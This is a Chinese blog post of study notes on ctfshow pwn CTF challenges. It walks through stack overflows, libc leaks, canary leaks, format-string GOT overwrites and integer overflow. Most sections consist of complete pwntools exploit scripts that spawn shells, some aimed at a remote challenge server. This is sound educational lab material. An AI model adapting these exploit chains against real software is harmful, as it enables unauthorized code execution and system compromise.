ctfshow pwn题学习笔记

本文详细介绍了多个CTF比赛中的Pwn类型题目,包括栈溢出、格式化字符串漏洞、内存泄露和利用技巧。通过分析代码、利用gdb调试和构造payload,展示了从寻找漏洞到获取shell的完整过程,涵盖了32位和64位系统的不同处理方式。
摘要由CSDN通过智能技术生成


ctfshow pwn学习笔记(除堆部分) 本菜逼不会堆 后期补上吧

本文目的是照着师傅们的wp学习后总结一下

pwn入门

pwn签到题

nc 直接连
在这里插入图片描述

pwn02

查看保护
在这里插入图片描述
进入pwnme函数
在这里插入图片描述
发现fgets处存在栈溢出,s距离ebp为0x9,那么覆盖到返回地址的长度还要再加上0x4我是懒狗,没有gdb看,且程序中存在后门函数,地址为0x804850f
在这里插入图片描述
exp:

from pwn import *
io = process("./stack")
payload = b"a"*(0x9+0x4)+p32(0x804850F)
io.sendline(payload)
io.interactive()

pwn03

查看保护
在这里插入图片描述
进入pwnme函数,发现和上一题一模一样,但是不同的是,这题没有后门函数
在这里插入图片描述
可以用puts函数泄露出任意函数的got表地址,从而泄露libc,就可以根据相对偏移getshell

在线查询libc
在这里插入图片描述

from pwn import *
context.log_level = 'debug'
io  = process("./stack1")
elf = ELF("stack1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = b"A"*(9+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)#泄露puts_got
io.recvuntil("\n\n")
io.sendline(payload1)
puts_addr = u32(io.recv(4))
libcbase = puts_addr - 0x067360   #计算相对偏移
system_addr = 0x03cd10 + libcbase  
str_bin_sh = 0x17b8cf + libcbase
payload2 = b"A"*(9+4)+p32(system_addr)+b"aaaa"+p32(str_bin_sh)
io.recvuntil("\n\n")
io.sendline(payload2)
io.interactive()

pwn04

在这里插入图片描述
开启了Canary保护,查看vuln函数
在这里插入图片描述
发现存在格式化字符串漏洞,可以利用格式化字符串泄露Canary,然后栈溢出
确定格式化字符串参数位置为第六个
在这里插入图片描述
确定Canary位置,在IDA中可以看到,Canary的位置在ebp+0xC0
在这里插入图片描述在这里插入图片描述
所以我们应该利用%31$x泄露栈上的Canary
31 = (0xd8-0x68-0xc)/4+6

这里用gdb看一下偏移,IDA里面的是错误的
在这里插入图片描述
程序中有后门,exp:

from pwn import *
context.log_level = "debug"
io = process("./ex2")
io.sendlineafter("Hello Hacker!\n",b"%31$x")
canary = int(io.recv(8),16)
system = 0x804859B
payload = b"A"*100 + p32(canary) + b"A"*(0xc) + p32(system)
io.sendline(payload)
io.interactive()

pwn05

在这里插入图片描述
查看伪代码,带有后门函数的32位栈溢出:
在这里插入图片描述
exp:

from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0x14+4)+p32(0x8048486) 
io.sendline(payload)
io.interactive()

pwn06

就是变成了64位
在这里插入图片描述
64位要考虑堆栈平衡
exp1:

from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0xc+8)+p64(0x40057B) 
io.sendline(payload)
io.interactive()

在这里插入图片描述
exp2:

from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0xc+8)+p64(0x4005B6)+p64(0x400577) 
io.sendline(payload)
io.interactive()

在这里插入图片描述

pwn07

在这里插入图片描述

64位版的pwn03

思路和pwn03一样
但是要注意64位和32位传参的区别
64位前6个参数是使用rdi rsi rdx rcx r8 r9来存放的,超过6个就会像32位一样放在栈中
exp:

from pwn import *
context.log_level = 'debug'
io = remote("111.231.70.44",28058)
elf = ELF("pwn1")
gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
pop_rdi_ret = 0x4006e3
main_addr = elf.symbols["main"]
payload_1 = b"A"*20 
payload_1 += p64(pop_rdi_ret)
payload_1 += p64(gets_got)
payload_1 += p64(puts_plt)
payload_1 += p64(main_addr)
io.sendline(payload_1)
io.recvuntil(b"\n")
gets_addr = u64(io.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
libcBase = gets_addr - 0x0800b0
str_bin_sh = 0x1b3e9a + libcBase
ret = 0x4004c6
system_addr = 0x04f440 +libcBase
payload_2 = b"AA"*10
payload_2 += p64(ret)
payload_2 += p64(pop_rdi_ret) 
payload_2 += p64(str_bin_sh)
payload_2 += p64(system_addr)
io.sendline(payload_2)
io.interactive()

01栈溢出之ret2text

在这里插入图片描述
进入welcome,发现栈溢出,有后门函数,64位栈溢出同pwn06
在这里插入图片描述
exp:

from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0x80+8)+p64(0x40063B)
io.sendline(payload)
io.interactive()

在这里插入图片描述

pwn10

在这里插入图片描述

查看伪代码 存在格式化字符串漏洞,利用任意写,将num改为16即可
在这里插入图片描述
查看位置
在这里插入图片描述
在这里插入图片描述
exp:

from pwn import *
io = process("./pwn10")
context.log_level = "debug"
num_addr = 0x804A030
payload = p32(num_addr) + b"%12c%7$n"
io.sendline(payload)
io.interactive()

萌新赛

签到题

exp:

同pwn7

from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28077)
elf = ELF("pwn1")
puts_plt = elf.plt["puts"]
gets_got = elf.got["gets"]
main_addr = elf.symbols["main"]
ret = 0x40053e
pop_rdi_ret = 0x400793
payload = b"e"*(0x70+8)+p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("successful!\n")
io.sendline(payload)
io.recvuntil("just a joke")
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = gets_addr - 0x0800b0
system_addr = libcbase + 0x04f440
bin_sh_addr = libcbase + 0x1b3e9a
payload = b"e"*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("successful!\n")
io.sendline(payload)
io.interactive()

数学99

在这里插入图片描述
发现有三个数学题:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
利用整形溢出
exp:

from pwn import *
io = process("./pwn1")
io.sendlineafter("a:","3")
io.sendlineafter("b:","4294967290")
io.sendlineafter("a:","19")
io.sendlineafter("b:","1808407283")
io.sendlineafter("a:","2147483648")
io.sendlineafter("b:","-1")
io.interactive()

内部赛

签到题

在这里插入图片描述
进入IDA,发现gets函数存在栈溢出
在这里插入图片描述
思路同pwn07,不过这次使用write函数来进行泄露内存

exp:

from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28019)
elf = ELF("pwn1")
gets_got = elf.got["gets"]
write_plt = elf.plt["write"]
ret = 0x400654 
pop_rdi_ret = 0x4006c3
pop_rsi_r15_ret = 0x4006c1
main_addr  = elf.symbols["main"]
payload = b"a"*(0xa0+8)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(gets_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.recvuntil("now,Try Pwn Me?\n")
io.sendline(payload)
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = gets_addr - 0x0800b0
system_addr =  libcbase + 0x04f440
bin_sh_addr = libcbase +  0x1b3e9a
payload_2 = b"a"*(0xa0+8) + p64(pop_rdi_ret) + p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("now,Try Pwn Me?\n")
io.sendline(payload_2)
io.interactive()

BJDCTF2020

babyrouter

同pwn07 用puts进行内存泄漏
exp:

from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28051)
elf = ELF("pwn1")
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
ret = 0x4004c9
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x4006c1
main_addr  = elf.symbols["main"]
payload = b"a"*(0x20+8)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("me u story!\n")
io.sendline(payload)
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(gets_addr))
libc = LibcSearcher("read",gets_addr)
libcbase = gets_addr - libc.dump("read")
system_addr =  libcbase + libc.dump("system")
bin_sh_addr = libcbase +  libc.dump("str_bin_sh")
payload_2 = b"a"*(0x20+8)+ p64(pop_rdi_ret) + p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("me u story!\n")
io.sendline(payload_2)
io.interactive()

babystack

在这里插入图片描述
发先read函数的长度是我们可以控制的,存在后门函数:
在这里插入图片描述
exp:

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
io = process("./pwn1")
io.sendlineafter("your name:","250")
payload = b"a"*(0x10+8)+p64(0x4006EA)
io.sendline(payload)
io.interactive()

router

在这里插入图片描述
查看伪代码,发现这里可以命令执行欸,有点意思 有点像web题
在这里插入图片描述
exp:

from pwn import *
context.log_level = "debug"
io = process("./pwn1")
elf = ELF("pwn1")
io.sendline("1")
io.sendlineafter("address:\n",b"0||/bin/sh")
io.interactive()

36D杯

签到

在这里插入图片描述
存在栈溢出,并且有system函数和sh
在这里插入图片描述
在这里插入图片描述
exp:

from pwn import *
context.log_level = "debug"
io = process("./pwn1")
elf = ELF("pwn1")
pop_rdi_ret = 0x4006d3
ret = 0x4004ce
print(hex(next(elf.search(b"sh\x00"))))
payload = b"A"*(0x20+8) + p64(ret)  + p64(pop_rdi_ret) +p64(next(elf.search(b"sh\x00"))) + p64(elf.plt["system"])
io.sendline(payload)
io.interactive()

babyFmtstr

通过这题感觉真正懂点了格式化字符串
在这里插入图片描述
在这里发现了格式化字符串漏洞

在这里插入图片描述
整体思路:

利用格式化字符串,改写 memset函数的got表为main函数地址,这样就有了循环,再利用格式化字符串泄露内存,再根据泄露的内存偏移,将strdup函数的got表地址改写为system函数,这样向其中输入 “/bin/sh” 就之间获得了shell

exp:

from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28045)   #fmt:8
elf = ELF("pwn1")
puts_got = elf.got["puts"]
strdup_got = elf.got["strdup"]
memset_got = elf.got["memset"]
#main_addr  400E93
payload_1 = b"%14c%11$hhn%133c%12$hhnA" + p64(memset_got+1)+p64(memset_got) 
io.sendlineafter("please input name:\n",payload_1)
io.sendlineafter("input size of motto:\n","1")
payload_2 = b"AAAA%9$s" + p64(puts_got)
io.sendlineafter("please input name:\n",payload_2)
io.recvuntil("AAAA")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
libcbase = puts_addr - 0x06f690
system_addr = libcbase + 0x045390
print(hex(system_addr))
def strdup_system(system):
    x = system >>16 & 0xffff
    y = system & 0xffff
    print(x)
    print(y)
    if x>y:
        payload = flat("%"+str(y)+"c%12$hn%"+str(x-y)+"c%13$hn")
        payload = payload.ljust(32,b"a")
        print(payload)
        payload += p64(strdup_got)+p64(strdup_got+2)  
    if x<y:
        payload = flat("%"+str(x)+"c%12$hn%"+str(y-x)+"c%13$hn")
        payload = payload.ljust(32,b"a")
        print(payload)
        payload += p64(strdup_got+2)+p64(strdup_got)
    return payload
payload_3 = strdup_system(system_addr)
io.sendlineafter("please input name:\n",payload_3)
io.interactive()

MagicString

在这里插入图片描述
有system函数但是缺少参数:
在这里插入图片描述
可以利用gets函数将参数写道bss段,然后传参 这题不知道为什么本地打不通T^T
exp:

from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28037)
elf = ELF("pwn1")
gets_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
pop_rdi_ret = 0x400733
ret = 0x4004d1
bss_addr = 0x601060
io.recvuntil("Throw away ida pro!!! I want a girlfriend!\n")
payload = b"a"*(0x2a0+8)+p64(ret)+p64(pop_rdi_ret)+p64(bss_addr)+p64(gets_plt)+p64(pop_rdi_ret)+p64(bss_addr)+p64(system_plt)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

MengxinStack

在这里插入图片描述
在这里插入图片描述
存在两次栈溢出

整体思路:

第一次栈溢出用来覆盖掉Canary后的 \x00 ,从而泄露Canary
第二次的栈溢出用来覆盖 __libc_start_main 的返回地址的最后一字节,
使得再次执行main函数,从而进行内存泄露和栈溢出

遇到的问题:

在覆盖最后一字节的返回地址时,我的本地地址和远程的并不一样,但是我不知道怎么确定远程的地址,只能看师傅们wp的偏移了

本地的:
在这里插入图片描述
exp:

from pwn import *
context.log_level = "debug"
#io = process("./pwn1")
io = remote("111.231.70.44",28018)
elf = ELF("pwn1")
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")
payload = b"a"*0x28+b"A"
io.send(payload)
io.recvuntil(b"A")
canary = u64(io.recv(7).rjust(8,b"\x00"))
payload2=b'a'*40+p64(canary)+b'a'*24+b'\x04'#local /x99
io.send(payload2)
io.recvuntil("You had me at hello.\n")
io.send(b'a'*0x28 + b'a'*0x8 + b'a'*0x18)
print(io.recvuntil(b'a'*0x48))
libc_main_ret  =  u64(io.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_ret - 0x020830
one_gadget = libcbase + 0xf1147
payload_3 = b'a'*40+p64(canary)+b'a'*24+p64(one_gadget)
io.send(payload_3)
io.interactive()

tang

这题和上一题的区别就是,泄露内存用的格式化字符串漏洞,其他思路都一样

在这里插入图片描述
exp:

from pwn import *
context.log_level = "debug"
#io = process("./pwn1")
io = remote("111.231.70.44",28060)
elf = ELF("pwn1")
io.sendafter("你怎么了?\n","%9$p")  #canary
canary =  int(io.recv(18),16)
print(hex(canary))
io.sendafter("烫烫烫烫","a")
payload = b"a"*(0x38)+p64(canary)+b"1"*(0x10+8)+b"\x16"
io.sendafter("炉远一点!\n",payload)
io.sendafter("你怎么了?\n","%23$p")   #libc_main_ret
libc_main_ret =  int(io.recv(14),16)  
print(hex(libc_main_ret))
libcbase = libc_main_ret - 0x020830
one_gadget = libcbase + 0xf1147
payload_2 = b"a"*(0x38)+p64(canary)+b"1"*(0x10+8)+p64(one_gadget)
io.sendafter("烫烫烫烫","a")
io.sendafter("炉远一点!\n",payload_2)
io.interactive()

1024杯

1024_happy_stack

在这里插入图片描述
查看伪代码
在这里插入图片描述
gets存在栈溢出
查看ctfshow函数
在这里插入图片描述
检查输入是否与"36D"相等,这里可以使用\x00绕过
整体思路和pwn07一样 泄露内存之后栈溢出

exp:

from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote("111.231.70.44",28021)
elf = ELF("pwn")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x400803
payload = b"36D\x00".ljust(0x388,b'a')+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recv()
io.sendline(payload)
print(io.recvuntil(b"36D\n"))
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
ret = 0x40028a
libcBase = puts_addr - 0x0809c0
str_bin_sh = 0x1b3e9a + libcBase
system_addr = 0x04f440 +libcBase
payload_2 = b"36D\x00".ljust(0x388,b'a')
payload_2 += p64(ret)
payload_2 += p64(pop_rdi_ret) 
payload_2 += p64(str_bin_sh)
payload_2 += p64(system_addr)
io.sendline(payload_2)
io.interactive()

1024_happy_checkin

思路和pwn07一样
exp:

from pwn import *
context.log_level = 'debug'
io = remote("111.231.70.44",28065)
#io = process("./pwn1")
elf = ELF("pwn1")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
pop_rdi_ret = 0x4006e3
main_addr = elf.symbols["main"]
payload_1 = b"A"*(0x370+8) 
payload_1 += p64(pop_rdi_ret)
payload_1 += p64(puts_got)
payload_1 += p64(puts_plt)
payload_1 += p64(main_addr)
io.recvuntil(b"\n")
io.sendline(payload_1)
io.recv(0x370+8+4)
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcBase = puts_addr - 0x0809c0
str_bin_sh = 0x1b3e9a + libcBase
ret = 0x4004c6
system_addr = 0x04f440 +libcBase
payload_2 = b"A"*(0x370+8)
payload_2 += p64(ret)
payload_2 += p64(pop_rdi_ret) 
payload_2 += p64(str_bin_sh)
payload_2 += p64(system_addr)
io.sendline(payload_2)
io.interactive()
  • 9
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值